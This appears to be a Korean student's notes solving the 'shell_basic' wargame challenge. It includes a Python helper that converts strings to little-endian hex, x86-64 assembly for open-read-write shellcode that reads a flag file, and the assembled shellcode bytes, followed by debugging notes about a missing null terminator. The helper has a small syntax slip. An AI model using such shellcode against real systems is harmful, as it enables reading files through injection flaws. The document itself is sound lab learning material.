- 이미 입력 값을 받아서 실행시켜준다. shellcode만 짜서 넣으면 된다.
- flag 파일 위치를 읽어와서 출력하면 될 것 같다. (orw shellcode)
# string -> byte수에 맞게 littleEndian으로 변환 해주는 코드 import binascii def print_little_endian_8bytes(input_string): hex_string = binascii.hexlify(input_string.encode()).decode() byte_list = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)] for i in range(0, len(byte_list), 8): bytes_8 = byte_list[i:i+8] bytes_8_little_endian = "".join(bytes_8[::-1]) print(bytes_8_little_endian) def print_little_endian_4bytes(input_string): hex_string = binascii.hexlify(input_string.encode()).decode() byte_list = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)] for i in range(0, len(byte_list), 4): bytes_4 = byte_list[i:i+4] bytes_4_little_endian = "".join(bytes_4[::-1]) print(bytes_4_little_endian) def main(input_string, input_byte): if input_byte == 4: print_little_endian_4bytes(input_string) elif input_byte == 8: print_little_endian_8bytes(input_string) else: print("NO") if __name__ = "__main__": input_string = input("Enter the text you want to convert: ") input_byte = int(input("Enter 4 or 8 bytes you want: ")) main(input_string, input_byte)
- Flag 디렉터리 경로를 littleEndian으로 변환해주기 위해 코드를 만들었다.
- flag 경로 넣어주고 syscall에 맞춰서 파라미터 세팅해주면 된다.
section .text global _start _start: ; syscall Open mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push rax mov rax, 0x697361625f6c6c65 push rax mov rax, 0x68732f656d6f682f push rax mov rdi, rsp mov rax, 0x02 xor rsi, rsi xor rdx, rdx syscall ; syscall Read mov rdi, rax mov rsi, rsp sub rsi, 0x30 mov rdx, 0x30 mov rax, 0x0 syscall ; syscall Write mov rdi, 1 mov rax, 0x1 syscall ; syscall Exit mov rax, 0x3c mov rdi, 0 syscall
- asm code 작성해주고 저번에 만들었던 셸코드 변환 python을
- nasm 옵션 elf64로 바꿔주고 실행
- -- shellcode --
FileName = shellcode/shell_basic
48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05- 처음으로 내 힘으로 만들어본 쉘코드라 굉장히 기대가 된다.
- 안되네..... 에휴...
- run_sh에 bp 걸고 실행
- push 다하고 나서 확인해보니 쓰레기 값이 딸려서 나오고 있었다
- 마지막에 NULL값을 안넣어줘서 그런것 같다.
- null 값을 넣어주고 다시 컴파일 후에 리버싱을 해보았다.
- 정상적으로 flag 파일 디렉터리만 불러왔다!
- --- 다시 만든 shellcode ---
6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
- 다시 넣어줬지만 또 실패했다.
- 인터넷을 찾아보니 nc 명령어로 직접 접속해서 하면 안된다고 한다 그래서 만든 shell_basic.bin 파일을 바로 사용했다.